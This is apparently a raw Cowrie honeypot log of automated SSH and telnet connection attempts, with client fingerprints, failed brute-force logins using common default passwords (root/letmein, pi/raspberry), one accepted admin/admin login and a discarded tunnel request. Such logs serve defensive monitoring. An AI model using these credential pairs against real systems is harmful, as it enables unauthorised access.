{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":40822,"dst_ip":"159.203.135.109","dst_port":22,"session":"d721574029e6","protocol":"ssh","message":"New connection: 103.82.20.28:40822 (159.203.135.109:22) [session: d721574029e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:15.628096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:15.632580Z","src_ip":"103.82.20.28","session":"d721574029e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:15.888509Z","src_ip":"103.82.20.28","session":"d721574029e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09111988","message":"login attempt [root/09111988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:16.658715Z","src_ip":"103.82.20.28","session":"d721574029e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:17.917753Z","src_ip":"103.82.20.28","session":"d721574029e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":47994,"dst_ip":"10.17.0.5","dst_port":22,"session":"1019fa4dfb07","protocol":"ssh","message":"New connection: 91.92.40.10:47994 (10.17.0.5:22) [session: 1019fa4dfb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:22.868455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:23.025171Z","src_ip":"91.92.40.10","session":"1019fa4dfb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:23.028169Z","src_ip":"91.92.40.10","session":"1019fa4dfb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:23.560852Z","src_ip":"91.92.40.10","session":"1019fa4dfb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:24.786710Z","src_ip":"91.92.40.10","session":"1019fa4dfb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44582,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a6d6d28561","protocol":"telnet","message":"New connection: 137.184.5.188:44582 (159.203.135.109:23) [session: 48a6d6d28561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:30.995585Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":43248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d5f69c2b0a6","protocol":"ssh","message":"New connection: 192.169.197.250:43248 (159.203.135.109:22) [session: 2d5f69c2b0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:39.955010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:39.959066Z","src_ip":"192.169.197.250","session":"2d5f69c2b0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:40.024297Z","src_ip":"192.169.197.250","session":"2d5f69c2b0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*(","message":"login attempt [root/admin@#$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:40.223195Z","src_ip":"192.169.197.250","session":"2d5f69c2b0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:26:41.316037Z","src_ip":"192.169.197.250","session":"2d5f69c2b0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":45730,"dst_ip":"10.17.0.5","dst_port":22,"session":"17485418a2a2","protocol":"ssh","message":"New connection: 91.92.40.176:45730 (10.17.0.5:22) [session: 17485418a2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:18.377682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:18.381527Z","src_ip":"91.92.40.176","session":"17485418a2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:18.462629Z","src_ip":"91.92.40.176","session":"17485418a2a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:18.713415Z","src_ip":"91.92.40.176","session":"17485418a2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:19.797032Z","src_ip":"91.92.40.176","session":"17485418a2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.9578914642334,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:28.953346Z","src_ip":"137.184.5.188","session":"48a6d6d28561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf647984917","protocol":"telnet","message":"New connection: 137.184.5.188:53502 (159.203.135.109:23) [session: cbf647984917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:30.979557Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58934,"dst_ip":"159.203.135.109","dst_port":23,"session":"5511d4ffccbf","protocol":"telnet","message":"New connection: 107.6.151.170:58934 (159.203.135.109:23) [session: 5511d4ffccbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:38.389410Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"173e5736d1b5","protocol":"telnet","message":"New connection: 170.64.224.25:35084 (159.203.135.109:23) [session: 173e5736d1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:27:57.102189Z"}
{"eventid":"cowrie.session.closed","duration":6.2048094272613525,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:03.306887Z","src_ip":"170.64.224.25","session":"173e5736d1b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"5410371b2d4a","protocol":"ssh","message":"New connection: 162.240.75.182:36488 (159.203.135.109:22) [session: 5410371b2d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:05.757884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:05.761547Z","src_ip":"162.240.75.182","session":"5410371b2d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:05.850118Z","src_ip":"162.240.75.182","session":"5410371b2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":29562,"dst_ip":"159.203.135.109","dst_port":22,"session":"523ba0e4ac1d","protocol":"ssh","message":"New connection: 176.53.159.196:29562 (159.203.135.109:22) [session: 523ba0e4ac1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.083073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.086967Z","src_ip":"176.53.159.196","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin%$#@!&*()!","message":"login attempt [root/admin%$#@!&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.117528Z","src_ip":"162.240.75.182","session":"5410371b2d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.189595Z","src_ip":"176.53.159.196","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.489197Z","src_ip":"176.53.159.196","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.592714Z","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.695612Z","src_ip":"176.53.159.196","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:06.797129Z","src_ip":"176.53.159.196","session":"523ba0e4ac1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:08.091384Z","src_ip":"162.240.75.182","session":"5410371b2d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.37870121002197,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:14.358120Z","src_ip":"137.184.5.188","session":"cbf647984917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":35096,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd627d7f032","protocol":"ssh","message":"New connection: 91.92.40.10:35096 (10.17.0.5:22) [session: bdd627d7f032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:20.445079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:20.652116Z","src_ip":"91.92.40.10","session":"bdd627d7f032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:20.656562Z","src_ip":"91.92.40.10","session":"bdd627d7f032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein","message":"login attempt [root/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:21.416402Z","src_ip":"91.92.40.10","session":"bdd627d7f032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:22.944622Z","src_ip":"91.92.40.10","session":"bdd627d7f032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34742,"dst_ip":"10.17.0.5","dst_port":22,"session":"937a0f894085","protocol":"ssh","message":"New connection: 103.15.222.183:34742 (10.17.0.5:22) [session: 937a0f894085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:26.682061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:26.685274Z","src_ip":"103.15.222.183","session":"937a0f894085","protocol":"ssh"}
